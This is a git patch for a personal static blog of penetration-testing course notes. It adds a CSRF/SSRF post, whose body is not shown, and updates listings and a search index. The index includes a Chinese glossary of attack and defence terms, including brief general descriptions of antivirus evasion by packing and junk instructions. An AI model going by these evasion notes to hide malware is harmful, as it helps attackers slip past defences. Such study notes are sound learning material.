From a7fb21555c8b5300ced67c7c4a5190d8429c0193 Mon Sep 17 00:00:00 2001 From: Jackie <2505180677@qq.com> Date: Sat, 1 Jun 2024 19:00:58 +0800 Subject: [PATCH] Site updated: 2024-06-01 19:00:55 --- .../index.html" | 16 + .../index.html" | 828 ++++++++++++++++++ ...7\347\220\206\345\233\276\350\247\243.png" | Bin 0 -> 143975 bytes archives/2024/06/index.html | 465 ++++++++++ archives/2024/index.html | 14 +- archives/2024/page/2/index.html | 14 +- archives/2024/page/3/index.html | 7 + archives/index.html | 14 +- archives/page/2/index.html | 14 +- archives/page/3/index.html | 7 + index.html | 88 +- page/2/index.html | 94 +- page/3/index.html | 53 ++ search.json | 2 +- "tags/\345\260\217\350\277\252/index.html" | 7 + 15 files changed, 1503 insertions(+), 120 deletions(-) create mode 100644 "2024/06/01/10\351\200\232\347\224\250-CSRF-SSRF/index.html" create mode 100644 "2024/06/01/10\351\200\232\347\224\250-CSRF-SSRF/\345\216\237\347\220\206\345\233\276\350\247\243.png" create mode 100644 archives/2024/06/index.html diff --git "a/2024/05/31/09\351\200\232\347\224\250-XSS/index.html" "b/2024/05/31/09\351\200\232\347\224\250-XSS/index.html" index a25faf2..66aac35 100644 --- "a/2024/05/31/09\351\200\232\347\224\250-XSS/index.html" +++ "b/2024/05/31/09\351\200\232\347\224\250-XSS/index.html" @@ -485,6 +485,22 @@

XSS

在已

+ + diff --git a/archives/2024/page/2/index.html b/archives/2024/page/2/index.html index 5c61ad6..fed1333 100644 --- a/archives/2024/page/2/index.html +++ b/archives/2024/page/2/index.html @@ -226,6 +226,13 @@
diff --git a/archives/2024/page/3/index.html b/archives/2024/page/3/index.html index e255a77..fb59ce3 100644 --- a/archives/2024/page/3/index.html +++ b/archives/2024/page/3/index.html @@ -226,6 +226,13 @@
    +
  • + + Linux +
  • +
  • diff --git a/archives/page/2/index.html b/archives/page/2/index.html index cf3d3e5..5d38c76 100644 --- a/archives/page/2/index.html +++ b/archives/page/2/index.html @@ -226,6 +226,13 @@ diff --git a/archives/page/3/index.html b/archives/page/3/index.html index c1b75b9..1abd8b4 100644 --- a/archives/page/3/index.html +++ b/archives/page/3/index.html @@ -226,6 +226,13 @@
      +
    • + + Linux +
    • +
    • - - 09通用-XSS + + 10通用-CSRF&SSRF

      - XSS + CSRF&SSRF
      @@ -294,7 +294,7 @@

      - 阅读全文  + 阅读全文  @@ -308,14 +308,14 @@

      - - ThinkPHP框架分析 + + 09通用-XSS

      - ThinkPHP框架分析 + XSS
      @@ -333,7 +333,7 @@

      - 阅读全文  + 阅读全文  @@ -361,14 +361,14 @@

      - - 08通用-文件上传 + + ThinkPHP框架分析

      - 文件上传 + ThinkPHP框架分析
      @@ -386,7 +386,7 @@

      - 阅读全文  + 阅读全文  @@ -414,14 +414,14 @@

      - - 软件工程 + + 08通用-文件上传

      - 软件工程课程总结 + 文件上传
      @@ -439,7 +439,7 @@

      - 阅读全文  + 阅读全文  @@ -467,14 +467,14 @@

      - - 社工信息搜集 + + 软件工程

      - 社工信息搜集 + 软件工程课程总结
      @@ -506,7 +506,7 @@

      - 阅读全文  + 阅读全文  @@ -520,14 +520,14 @@

      - - 十大经典排序算法 + + 社工信息搜集

      - 十大经典排序算法 + 社工信息搜集
      @@ -559,7 +559,7 @@

      - 阅读全文  + 阅读全文  @@ -573,14 +573,14 @@

      - - 07通用-SQL注入 + + 十大经典排序算法

      - SQL注入 + 十大经典排序算法
      @@ -598,7 +598,7 @@

      - 阅读全文  + 阅读全文  @@ -626,14 +626,14 @@

      - - 06Web攻防 + + 07通用-SQL注入

      - 各常见编程语言总结 + SQL注入
      @@ -665,7 +665,7 @@

      - 阅读全文  + 阅读全文  @@ -679,14 +679,14 @@

      - - 05PHP个人博客 + + 06Web攻防

      - PHP个人博客 + 各常见编程语言总结
      @@ -718,7 +718,7 @@

      - 阅读全文  + 阅读全文  @@ -732,14 +732,14 @@

      - - 04CDN绕过 + + 05PHP个人博客

      - CDN绕过 + PHP个人博客
      @@ -771,7 +771,7 @@

      - 阅读全文  + 阅读全文  diff --git a/page/2/index.html b/page/2/index.html index 09f2351..2d3e480 100644 --- a/page/2/index.html +++ b/page/2/index.html @@ -223,14 +223,14 @@

      - - 03信息打点 + + 04CDN绕过

      - 信息打点 + CDN绕过
      @@ -262,7 +262,7 @@

      - 阅读全文  + 阅读全文  @@ -276,14 +276,14 @@

      - - 02http数据包&抓包封包协议&资产架构&阻碍 + + 03信息打点

      - 数据包&资产架构&阻碍 + 信息打点
      @@ -315,7 +315,7 @@

      - 阅读全文  + 阅读全文  @@ -329,14 +329,14 @@

      - - 01渗透测试前备知识 + + 02http数据包&抓包封包协议&资产架构&阻碍

      - 渗透测试前备知识 + 数据包&资产架构&阻碍
      @@ -368,7 +368,7 @@

      - 阅读全文  + 阅读全文  @@ -382,14 +382,14 @@

      - - CTF常见编码 + + 01渗透测试前备知识

      - CTF常见编码总结 + 渗透测试前备知识
      @@ -407,10 +407,7 @@

      - 阅读全文  + 阅读全文  @@ -438,14 +435,14 @@

      - - Docker + + CTF常见编码

      - Docker知识点总结 + CTF常见编码总结
      @@ -463,7 +460,10 @@

      - 阅读全文  + 阅读全文  @@ -491,14 +491,14 @@

      - - Java + + Docker

      - Java知识点总结 + Docker知识点总结
      @@ -530,7 +530,7 @@

      - 阅读全文  + 阅读全文  @@ -544,14 +544,14 @@

      - - MySQL + + Java

      - MySQL知识点总结 + Java知识点总结
      @@ -583,7 +583,7 @@

      - 阅读全文  + 阅读全文  @@ -597,14 +597,14 @@

      - - 对于求素数的一些个人思考 + + MySQL

      - 思考 + MySQL知识点总结
      @@ -622,7 +622,7 @@

      - 阅读全文  + 阅读全文  @@ -650,14 +650,14 @@

      - - Git + + 对于求素数的一些个人思考

      - Git知识点总结 + 思考
      @@ -675,7 +675,7 @@

      - 阅读全文  + 阅读全文  @@ -703,14 +703,14 @@

      - - Linux + + Git

      - Linux知识点总结 + Git知识点总结
      @@ -742,7 +742,7 @@

      - 阅读全文  + 阅读全文  diff --git a/page/3/index.html b/page/3/index.html index 9d35e42..a4e7f6e 100644 --- a/page/3/index.html +++ b/page/3/index.html @@ -220,6 +220,59 @@ +
      + +

      + + Linux + +

      + +
      + + Linux知识点总结 + +
      + + + + + +
      +

    • + +
    • + + +

      diff --git a/search.json b/search.json index b137024..bc11821 100644 --- a/search.json +++ b/search.json @@ -1 +1 @@ -[{"title":"02http数据包&抓包封包协议&资产架构&阻碍","url":"/2024/04/14/02http%E6%95%B0%E6%8D%AE%E5%8C%85-%E6%8A%93%E5%8C%85%E5%B0%81%E5%8C%85%E5%8D%8F%E8%AE%AE-%E8%B5%84%E4%BA%A7%E6%9E%B6%E6%9E%84-%E9%98%BB%E7%A2%8D/","content":"web请求返回过程数据包https://www.jianshu.com/p/558455228c43\nhttps://www.cnblogs.com/cherrycui/p/10815465.html\n抓包封包协议\n科来网络分析系统\n\nAPP&小程序&PC抓包HTTP/S数据→Charles&Fiddler&Burpsuite\n程序进程&网络接口&其他协议抓包→Wireshark&科来网络分析系统|tcpdump(Linux)\n通讯类应用封包分析发送接收→WPE四件套封包&科来网络分析系统\n\n工具相关证书安装:\n\n夜神模拟器安装Burp Suite证书\n模拟器上下载Fiddler证书\nCharles证书安装(手机模拟器)\n\n推个雷电/逍遥模拟器\nburpsuite抓不到vx小程序\n\n==存疑?==\n\n\n\n封包和抓包不同之处?\n零散整体的区别,封包能精确到每个操作的数据包\n\n资产架构&阻碍\n资产架构\n\nWEB单个源码指向安全\nWEB多个目录源码安全\nWEB多个端口源码安全\n服务器假设多个站点安全\n架设第三方插件接口安全\n服务器假设多个应用安全\n\n阻碍\n\n站库分离\nCDN加速服务\n\nCDN:内容分发网络,CDN系统能够实时地根据网络流量和各节点的连接、负载状况以及到用户的距离和响应时间等综合信息将用户的请求重新导向离用户最近的服务节点上。其目的是使用户可就近取得所需内容,解决Internet网络拥挤的状况,提高用户访问网站的响应速度。\n\n负载均衡服务\nWAF应用防火墙\n主机防护防火墙\n","tags":["小迪"]},{"title":"01渗透测试前备知识","url":"/2024/04/14/01%E6%B8%97%E9%80%8F%E6%B5%8B%E8%AF%95%E5%89%8D%E5%A4%87%E7%9F%A5%E8%AF%86/","content":"作者:@11阳光本文为作者原创,转载请注明出处:https://www.cnblogs.com/sunny11/p/13583083.html#_label5\n前备知识\nPOC:全称’ProofofConcept’,中文’概念验证’,常指一段漏洞证明的代码。\n\nEXP:全称’Exploit’,中文’利用’,指利用系统漏洞进行攻击的动作。\n\nPayload:中文’有效载荷’,指成功exploit之后,真正在目标系统执行的代码或指令。\n\nShellcode:简单翻译’shell代码’,是Payload的一种,由于其建立正向/反向shell而得名。\n\n\n渗透测试中常用的linux命令\n常用的cmd命令\nPowershell攻击指南黑客后渗透之道系列——基础篇\nPowershell攻击指南黑客后渗透之道系列——进阶利用\nPowershell攻击指南黑客后渗透之道系列——实战篇\n\n防火墙:正向连接、反向连接:Windows、Linux自带的防火墙策略:监测入站严格,出站宽松。\n\n正向:主动出去连接别人,分角度\n明白以什么为基准\n一般以当前我们渗透的攻击主机为参照物\n\n\n\n一、攻击篇1.攻击工具肉鸡比喻那些可以被攻击者控制的电脑、手机、服务器或者其他摄像头、路由器等智能设备,用于发动网络攻击。\n僵尸网络僵尸网络Botnet是指采用一种或多种传播手段,将大量主机感染病毒,从而在控制者和被感染主机之间所形成的一个可一对多控制的网络。\n木马就是那些表面上伪装成了正常的程序,但是当这些程序运行时,就会获取系统的整个控制权限。\n有很多黑客就是热衷使用木马程序来控制别人的电脑,比如灰鸽子、Gh0st、PcShare等等。\n网页木马表面上伪装成普通的网页或是将恶意代码直接插入到正常的网页文件中,当有人访问时,网页木马就会利用对方系统或者浏览器的漏洞自动将配置好的木马服务端植入到访问者的电脑上来自动执行将受影响的客户电脑变成肉鸡或纳入僵尸网络。\nRootkitRootkit是攻击者用来隐藏自己的行踪和保留root(根权限,可以理解成Windows下的system或者管理员权限)访问权限的工具。通常,攻击者通过远程攻击的方式获得root访问权限,或者是先使用密码猜解(破解)的方式获得对系统的普通访问权限,进入系统后,再通过对方系统存在的安全漏洞获得系统的root或system权限。然后,攻击者就会在对方的系统中安装Rootkit,以达到自己长久控制对方的目的,Rootkit功能上与木马和后门很类似,但远比它们要隐蔽。\n蠕虫病毒它是一类相对独立的恶意代码,利用了联网系统的开放性特点,通过可远程利用的漏洞自主地进行传播,受到控制终端会变成攻击的发起方,尝试感染更多的系统。蠕虫病毒的主要特性有:自我复制能力、很强的传播性、潜伏性、特定的触发性、很大的破坏性。\n震网病毒又名Stuxnet病毒,是第一个专门定向攻击真实世界中基础(能源)设施的“蠕虫”病毒,比如核电站,水坝,国家电网。作为世界上首个网络“超级破坏性武器”,Stuxnet的计算机病毒已经感染了全球超过45000个网络,其目标伊朗的铀浓缩设备遭到的攻击最为严重。\n勒索病毒主要以邮件、程序木马、网页挂马的形式进行传播。该病毒性质恶劣、危害极大,一旦感染将给用户带来无法估量的损失。这种病毒利用各种加密算法对文件进行加密,被感染者一般无法解密,必须拿到解密的私钥才有可能破解。\n挖矿木马一种将PC、移动设备甚至服务器变为矿机的木马,通常由挖矿团伙植入,用于挖掘比特币从而赚取利益。\n嗅探器(Sniffer)就是能够捕获网络报文的设备或程序。嗅探器的正当用处在于分析网络的流量,以便找出所关心的网络中潜在的问题。\n恶意软件被设计来达到非授权控制计算机或窃取计算机数据等多种恶意行为的程序。\n间谍软件一种能够在用户不知情的情况下,在其电脑、手机上安装后门,具备收集用户信息、监听、偷拍等功能的软件。\n后门这是一种形象的比喻,入侵者在利用某些方法成功的控制了目标主机后,可以在对方的系统中植入特定的程序,或者是修改某些设置,用于访问、查看或者控制这台主机。\n这些改动表面上是很难被察觉的,就好象是入侵者偷偷的配了一把主人房间的钥匙,或者在不起眼处修了一条暗道,可以方便自身随意进出。\n通常大多数木马程序都可以被入侵者用于创建后门(BackDoor)。\n弱口令指那些强度不够,容易被猜解的,类似123,abc这样的口令(密码)。\n漏洞漏洞是在硬件、软件、协议的具体实现或系统安全策略上存在的缺陷,从而可以使攻击者能够在未授权的情况下访问或破坏系统。奇安信集团董事长齐向东在《漏洞》一书中指出,软件的缺陷是漏洞的一个主要来源,缺陷是天生的,漏洞是不可避免的。\n远程命令执行漏洞由于系统设计实现上存在的漏洞,攻击者可能通过发送特定的请求或数据导致在受影响的系统上执行攻击者指定的任意命令。\n0day漏洞指那些已经被攻击者发现掌握并开始利用,但还没有被包括受影响软件厂商在内的公众所知的漏洞,这类漏洞对攻击者来说有完全的信息优势,由于没有漏洞的对应的补丁或临时解决方案,防守方不知道如何防御,攻击者可以达成最大可能的威胁。\n1day漏洞指漏洞信息已公开但仍未发布补丁的漏洞。此类漏洞的危害仍然较高,但往往官方会公布部分缓解措施,如关闭部分端口或者服务等。\nNday漏洞指已经发布官方补丁的漏洞。通常情况下,此类漏洞的防护只需更新补丁即可,但由于多种原因,导致往往存在大量设备漏洞补丁更新不及时,且漏洞利用方式已经在互联网公开,往往此类漏洞是黑客最常使用的漏洞。例如在永恒之蓝事件中,微软事先已经发布补丁,但仍有大量用户中招。\n2.攻击方法挂马就是在别人的网站文件里面放入网页木马或者是将代码潜入到对方正常的网页文件里,以使浏览者中马。\n挖洞指漏洞挖掘。\n加壳就是利用特殊的算法,将EXE可执行程序或者DLL动态连接库文件的编码进行改变(比如实现压缩、加密),以达到缩小文件体积或者加密程序编码,甚至是躲过杀毒软件查杀的目的。目前较常用的壳有UPX,ASPack、PePack、PECompact、UPack、免疫007、木马彩衣等等。\n溢出简单的解释就是程序对输入数据没有执行有效的边界检测而导致错误,后果可能是造成程序崩溃或者是执行攻击者的命令。溢出大致分为两类:堆溢出和栈溢出\n缓冲区溢出攻击者向一个地址区输入这个区间存储不下的大量字符。在某些情况下,这些多余的字符可以作为“执行代码”来运行,因此足以使攻击者不受安全措施限制而获得计算机的控制权。\n注入Web安全头号大敌。攻击者把一些包含攻击代码当做命令或者查询语句发送给解释器,这些恶意数据可以欺骗解释器,从而执行计划外的命令或者未授权访问数据。注入攻击漏洞往往是应用程序缺少对输入进行安全性检查所引起的。注入漏洞通常能在SQL查询、LDAP查询、OS命令、程序参数等中出现。\nSQL注入注入攻击最常见的形式,主要是指Web应用程序对用户输入数据的合法性没有判断或过滤不严,攻击者可以在Web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,在管理员不知情的情况下实现非法操作,以此来实现欺骗数据库服务器执行非授权的任意查询或其他操作,导致数据库信息泄露或非授权操作数据表。\n注入点即可以实行注入的地方,通常是一个涉及访问数据库的应用链接。根据注入点数据库的运行帐号的权限的不同,你所得到的权限也不同。\n软件脱壳顾名思义,就是利用相应的工具,把在软件“外面”起保护作用的“壳”程序去除,还文件本来面目,这样再修改文件内容或进行分析检测就容易多了。\n免杀就是通过加壳、加密、修改特征码、加花指令等等技术来修改程序,使其逃过杀毒软件的查杀。\n花指令指几句汇编指令,让汇编语句进行一些跳转,使得杀毒软件不能正常地判断病毒文件的构造。通俗地说,就是杀毒软件是从头到脚按顺序来查找病毒,如果把病毒的头和脚颠倒位置,杀毒软件就找不到病毒了。 \n暴力破解简称“爆破”。黑客对系统中账号的每一个可能的密码进行高度密集的自动搜索,从而破坏安全并获得对计算机的访问权限。\n洪水攻击是黑客比较常用的一种攻击技术,特点是实施简单,威力巨大,大多是无视防御的。从定义上说,攻击者对网络资源发送过量数据时就发生了洪水攻击,这个网络资源可以是router,switch,host,application等。洪水攻击将攻击流量比作成洪水,只要攻击流量足够大,就可以将防御手段打穿。DDoS攻击便是洪水攻击的一种。\nSYN攻击利用操作系统TCP协调设计上的问题执行的拒绝服务攻击,涉及TCP建立连接时三次握手的设计。\nDoS攻击拒绝服务攻击。攻击者通过利用漏洞或发送大量的请求导致攻击对象无法访问网络或者网站无法被访问。\nDDoS分布式DOS攻击,常见的UDP、SYN、反射放大攻击等等,就是通过许多台肉鸡一起向你发送一些网络请求信息,导致你的网络堵塞而不能正常上网。\n抓鸡即设法控制电脑,将其沦为肉鸡。\n端口扫描端口扫描是指发送一组端口扫描消息,通过它了解到从哪里可探寻到攻击弱点,并了解其提供的计算机网络服务类型,试图以此侵入某台计算机。\n花指令通过加入不影响程序功能的多余汇编指令,使得杀毒软件不能正常的判断病毒文件的构造。说通俗点就是“杀毒软件是从头到脚按顺序来识别病毒。如果我们把病毒的头和脚颠倒位置,杀毒软件就找不到病毒了”。\n反弹端口有人发现,防火墙对于连入的连接往往会进行非常严格的过滤,但是对于连出的连接却疏于防范。于是,利用这一特性,反弹端口型软件的服务端(被控制端)会主动连接客户端(控制端),就给人“被控制端主动连接控制端的假象,让人麻痹大意。\n网络钓鱼攻击者利用欺骗性的电子邮件或伪造的Web站点等来进行网络诈骗活动。诈骗者通常会将自己伪装成网络银行、在线零售商和信用卡公司等可信的品牌,骗取用户的私人信息或邮件账号口令。受骗者往往会泄露自己的邮箱、私人资料,如信用卡号、银行卡账户、身份证号等内容。\n鱼叉攻击鱼叉攻击是将用鱼叉捕鱼形象的引入到了网络攻击中,主要是指可以使欺骗性电子邮件看起来更加可信的网络钓鱼攻击,具有更高的成功可能性。不同于撒网式的网络钓鱼,鱼叉攻击往往更加具备针对性,攻击者往往“见鱼而使叉”。为了实现这一目标,攻击者将尝试在目标上收集尽可能多的信息。通常,组织内的特定个人存在某些安全漏洞。\n钓鲸攻击捕鲸是另一种进化形式的鱼叉式网络钓鱼。它指的是针对高级管理人员和组织内其他高级人员的网络钓鱼攻击。通过使电子邮件内容具有个性化并专门针对相关目标进行定制的攻击。\n水坑攻击顾名思义,是在受害者必经之路设置了一个“水坑(陷阱)”。最常见的做法是,黑客分析攻击目标的上网活动规律,寻找攻击目标经常访问的网站的弱点,先将此网站“攻破”并植入攻击代码,一旦攻击目标访问该网站就会“中招”。\n嗅探嗅探指的是对局域网中的数据包进行截取及分析,从中获取有效信息。\nAPT攻击Advanced Persistent Threat,即高级可持续威胁攻击,指某组织在网络上对特定对象展开的持续有效的攻击活动。这种攻击活动具有极强的隐蔽性和针对性,通常会运用受感染的各种介质、供应链和社会工程学等多种手段实施先进的、持久的且有效的威胁和攻击。\nC2C2全称为Command and Control,命令与控制,常见于APT攻击场景中。作动词解释时理解为恶意软件与攻击者进行交互,作名词解释时理解为攻击者的“基础设施”。\n供应链攻击是黑客攻击目标机构的合作伙伴,并以该合作伙为跳板,达到渗透目标用户的目的。一种常见的表现形式为,用户对厂商产品的信任,在厂商产品下载安装或者更新时进行恶意软件植入进行攻击。所以,在某些软件下载平台下载的时候,若遭遇捆绑软件,就得小心了!\n社会工程学一种无需依托任何黑客软件,更注重研究人性弱点的黑客手法正在兴起,这就是社会工程学黑客技术。通俗而言是指利用人的社会学弱点实施网络攻击的一整套方法论,其攻击手法往往出乎人意料。世界第一黑客凯文·米特尼克在《反欺骗的艺术》中曾提到,人为因素才是安全的软肋。很多企业、公司在信息安全上投入大量的资金,最终导致数据泄露的原因,往往却是发生在人本身。\n拿站指得到一个网站的最高权限,即得到后台和管理员名字和密码。\n提权指得到你本没得到的权限,比如说电脑中非系统管理员就无法访问一些C盘的东西,而系统管理员就可以,通过一定的手段让普通用户提升成为管理员,让其拥有管理员的权限,这就叫提权。\n渗透就是通过扫描检测你的网络设备及系统有没有安全漏洞,有的话就可能被入侵,就像一滴水透过一块有漏洞的木板,渗透成功就是系统被入侵。\n横移指攻击者入侵后,从立足点在内部网络进行拓展,搜寻控制更多的系统。\n跳板一个具有辅助作用的机器,利用这个主机作为一个间接工具,来入侵其他主机,一般和肉鸡连用。\n黑页黑客攻击成功后,在网站上留下的黑客入侵成功的页面,用于炫耀攻击成果。\n暗链看不见的网站链接,“暗链”在网站中的链接做得非常隐蔽,短时间内不易被搜索引擎察觉。它和友情链接有相似之处,可以有效地提高网站权重。\n拖库拖库本来是数据库领域的术语,指从数据库中导出数据。在网络攻击领域,它被用来指网站遭到入侵后,黑客窃取其数据库文件。\n撞库撞库是黑客通过收集互联网已泄露的用户和密码信息,生成对应的字典表,尝试批量登陆其他网站后,得到一系列可以登录的用户。很多用户在不同网站使用的是相同的帐号密码,因此黑客可以通过获取用户在A网站的账户从而尝试登录B网址,这就可以理解为撞库攻击。\n暴库入侵网站的一种手法,通过恶意代码让网站爆出其一些敏感数据来。\nCC攻击即Challenge Collapsar,名字来源于对抗国内安全厂商绿盟科技早期的抗拒绝服务产品黑洞,攻击者借助代理服务器生成指向受害主机的涉及大量占用系统资源的合法请求,耗尽目标的处理资源,达到拒绝服务的目的。\nWebshellWebshell就是以asp、php、jsp或者cgi等网页文件形式存在的一种命令执行环境,也可以将其称做是一种网页后门,可以上传下载文件,查看数据库,执行任意程序命令等。\n跨站攻击通常简称为XSS,是指攻击者利用网站程序对用户输入过滤不足,输入可以显示在页面上对其他用户造成影响的HTML代码,从而盗取用户资料、利用用户身份进行某种动作或者对访问者进行病毒侵害的一种攻击方式。\n中间人攻击中间人攻击是一种“间接”的入侵攻击,这种攻击模式是通过各种技术手段将受入侵者控制的一台计算机虚拟放置在网络连接中的两台通信计算机之间,通过拦截正常的网络通信数据,并进行数据篡改和嗅探,而这台计算机就称为“中间人”。\n商业电子邮件攻击(BEC)也被称为“变脸诈骗”攻击,这是针对高层管理人员的攻击,攻击者通常冒充(盗用)决策者的邮件,来下达与资金、利益相关的指令;或者攻击者依赖社会工程学制作电子邮件,说服/诱导高管短时间进行经济交易。\n电信诈骗是指通过电话、网络和短信方式,编造虚假信息,设置骗局,对受害人实施远程、非接触式诈骗,诱使受害人打款或转账的犯罪行为,通常以冒充他人及仿冒、伪造各种合法外衣和形式的方式达到欺骗的目的。\n杀猪盘网络流行词,电信诈骗的一种,是一种网络交友诱导股票投资、赌博等类型的诈骗方式,“杀猪盘”则是“从业者们”自己起的名字,是指放长线“养猪”诈骗,养得越久,诈骗得越狠。\nARP攻击ARP协议的基本功能就是通过目标设备的IP地址,查询目标设备的MAC地址,以保证通信的进行。基于ARP协议的这一工作特性,黑客向对方计算机不断发送有欺诈性质的ARP数据包,数据包内包含有与当前设备重复的Mac地址,使对方在回应报文时,由于简单的地址重复错误而导致不能进行正常的网络通信。\n欺骗攻击网络欺骗的技术主要有:HONEYPOT和分布式HONEYPOT、欺骗空间技术等。主要方式有:IP欺骗、ARP欺骗、DNS欺骗、Web欺骗、电子邮件欺骗、源路由欺骗(通过指定路由,以假冒身份与其他主机进行合法通信或发送假报文,使受攻击主机出现错误动作)、地址欺骗(包括伪造源地址和伪造中间站点)等。\n物理攻击通俗理解,即采用物理接触而非技术手段达到网络入侵的目的,最常见的表现形式为插U盘。著名的震网病毒事件即通过插U盘的形式,感染了伊朗核设施。\n打点指攻击者在入侵目标网络之前进行的侦察和准备工作。攻击者会通过扫描目标网络,收集关于网络拓扑、系统漏洞、开放端口等信息,以便确定最佳的攻击路径和方法。这些信息可以用于发起后续的攻击,例如渗透测试、漏洞利用或社会工程攻击。打点是黑客攻击的第一步,它为攻击者提供了有关目标网络的详细信息,从而增加了入侵的成功率。通俗说就是获取通向内网的一台服务器。\n3.攻击者黑产网络黑产,指以互联网为媒介,以网络技术为主要手段,为计算机信息系统安全和网络空间管理秩序,甚至国家安全、社会政治稳定带来潜在威胁(重大安全隐患)的非法行为。例如非法数据交易产业。\n暗网暗网是利用加密传输、P2P对等网络、多点中继混淆等,为用户提供匿名的互联网信息访问的一类技术手段,其最突出的特点就是匿名性。\n黑帽黑客以非法目的进行黑客攻击的人,通常是为了经济利益。他们进入安全网络以销毁、赎回、修改或窃取数据,或使网络无法用于授权用户。这个名字来源于这样一个历史:老式的黑白西部电影中,恶棍很容易被电影观众识别,因为他们戴着黑帽子,而“好人”则戴着白帽子。\n白帽黑客是那些用自己的黑客技术来进行合法的安全测试分析的黑客,测试网络和系统的性能来判定它们能够承受入侵的强弱程度。\n红帽黑客事实上最为人所接受的说法叫红客。红帽黑客以正义、道德、进步、强大为宗旨,以热爱祖国、坚持正义、开拓进取为精神支柱,红客通常会利用自己掌握的技术去维护国内网络的安全,并对外来的进攻进行还击。\n红队通常指攻防演习中的攻击队伍。\n蓝队通常指攻防演习中的防守队伍。\n紫队攻防演习中新诞生的一方,通常指监理方或者裁判方。\n二、防守篇1.软硬件加密机主机加密设备,加密机和主机之间使用TCP/IP协议通信,所以加密机对主机的类型和主机操作系统无任何特殊的要求。\nCA证书为实现双方安全通信提供了电子认证。在因特网、公司内部网或外部网中,使用数字证书实现身份识别和电子信息加密。数字证书中含有密钥对(公钥和私钥)所有者的识别信息,通过验证识别信息的真伪实现对证书持有者身份的认证。\nSSL证书SSL证书是数字证书的一种,类似于驾驶证、护照和营业执照的电子副本。因为配置在服务器上,也称为SSL服务器证书。\n防火墙主要部署于不同网络或网络安全域之间的出口,通过监测、限制、更改跨越防火墙的数据流,尽可能地对外部屏蔽网络内部的信息、结构和运行状况,有选择地接受外部访问。\nIDS全称Intrusion Detection System,即入侵检测系统,用于在黑客发起进攻或是发起进攻之前检测到攻击,并加以拦截。IDS不同于防火墙,防火墙只能屏蔽入侵,而IDS却可以在入侵发生以前,通过一些信息来检测到即将发生的攻击或是入侵并作出反应。\nNIDS全称Network Intrusion Detection System,即网络入侵检测系统,主要用于检测Hacker或Cracker。通过网络进行的入侵行为。NIDS的运行方式有两种,一种是在目标主机上运行以监测其本身的通信信息,另一种是在一台单独的机器上运行以监测所有网络设备的通信信息,比如Hub、路由器。\nIPS全称Intrusion Prevention System,即入侵防御系统,目的在于及时识别攻击程序或有害代码及其克隆和变种,采取预防措施,先期阻止入侵,防患于未然。或者至少使其危害性充分降低。入侵预防系统一般作为防火墙和防病毒软件的补充来投入使用。\n杀毒软件也称反病毒软件或防毒软件,是用于消除电脑病毒、特洛伊木马和恶意软件等计算机威胁的一类软件。\n反病毒引擎通俗理解,就是一套判断特定程序行为是否为病毒程序(包括可疑的)的技术机制。例如奇安信自主研发的QOWL猫头鹰反病毒引擎。\n防毒墙区别于部署在主机上的杀毒软件,防毒墙的部署方式与防火墙类似,主要部署于网络出口,用于对病毒进行扫描和拦截,因此防毒墙也被称为反病毒网关。\n老三样通常指IDS、防火墙和反病毒三样历史最悠久安全产品。\n告警指网络安全设备对攻击行为产生的警报。\n误报也称为无效告警,通常指告警错误,即把合法行为判断成非法行为而产生了告警。目前,由于攻击技术的快速进步和检测技术的限制,误报的数量非常大,使得安全人员不得不花费大量时间来处理此类告警,已经成为困扰并拉低日常安全处置效率的主要原因。\n漏报通常指网络安全设备没有检测出非法行为而没有产生告警。一旦出现漏报,将大幅增加系统被入侵的风险。\nNAC全称Network Access Control,即网络准入控制,其宗旨是防止病毒和蠕虫等新兴黑客技术对企业安全造成危害。借助NAC,客户可以只允许合法的、值得信任的终端设备(例如PC、服务器、PDA)接入网络,而不允许其它设备接入。\n漏扫即漏洞扫描,指基于漏洞数据库,通过扫描等手段对指定的远程或者本地计算机系统的安全脆弱性进行检测,发现可利用漏洞的一种安全检测(渗透攻击)行为。\nUTM全称Unified Threat Management,即统一威胁管理,最早由IDC于2014年提出,即将不同设备的安全能力(最早包括入侵检测、防火墙和反病毒技术),集中在同一网关上,实现统一管理和运维。\n网闸网闸是使用带有多种控制功能的固态开关读写介质,连接两个独立主机系统的信息安全设备。由于两个独立的主机系统通过网闸进行隔离,只有以数据文件形式进行的无协议摆渡。\n堡垒机运用各种技术手段监控和记录运维人员对网络内的服务器、网络设备、安全设备、数据库等设备的操作行为,以便集中报警、及时处理及审计定责。\n数据库审计能够实时记录网络上的数据库活动,对数据库操作进行细粒度审计的合规性管理,对数据库遭受到的风险行为进行告警,对攻击行为进行阻断。它通过对用户访问数据库行为的记录、分析和汇报,用来帮助用户事后生成合规报告、事故追根溯源,同时加强内外部数据库网络行为记录,提高数据资产安全。\nDLP数据防泄漏,通过数字资产的精准识别和策略制定,主要用于防止企业的指定数据或信息资产以违反安全策略规定的形式流出企业。\nVPN虚拟专用网,在公用网络上建立专用网络,进行加密通讯,通过对数据包的加密和数据包目标地址的转换实现远程访问。\nSD-WAN即软件定义广域网,这种服务用于连接广阔地理范围的企业网络、数据中心、互联网应用及云服务。这种服务的典型特征是将网络控制能力通过软件方式云化。通常情况下,SD-WAN都集成有防火墙、入侵检测或者防病毒能力。并且从目前的趋势来看,以安全为核心设计的SD-WAN正在崭露头角,包括奇安信、Fortinet等多家安全厂商开始涉足该领域,并提供了较为完备的内生安全设计。\n路由器是用来连接不同子网的中枢,它们工作于OSI7层模型的传输层和网络层。路由器的基本功能就是将网络信息包传输到它们的目的地。一些路由器还有访问控制列表(ACLs),允许将不想要的信息包过滤出去。许多路由器都可以将它们的日志信息注入到IDS系统中,并且自带基础的包过滤(即防火墙)功能。\n网关通常指路由器、防火墙、IDS、VPN等边界网络设备。\nWAF全称Web Application Firewall,即Web应用防火墙,是通过执行一系列针对HTTP/HTTPS的安全策略来专门为Web应用提供保护的一款产品。\nSOC全称Security Operations Center,即安全运行中心或者安全管理平台,通过建立一套实时的资产风险模型,协助管理员进行事件分析、风险分析、预警管理和应急响应处理的集中安全管理系统。\nLAS日志审计系统,主要功能是提供日志的收集、检索和分析能力,可为威胁检测提供丰富的上下文。\nNOC全称Network Operations Center,即网络操作中心或网络运行中心,是远程网络通讯的管理、监视和维护中心,是网络问题解决、软件分发和修改、路由、域名管理、性能监视的焦点。\nSIEM全称Security Information and Event 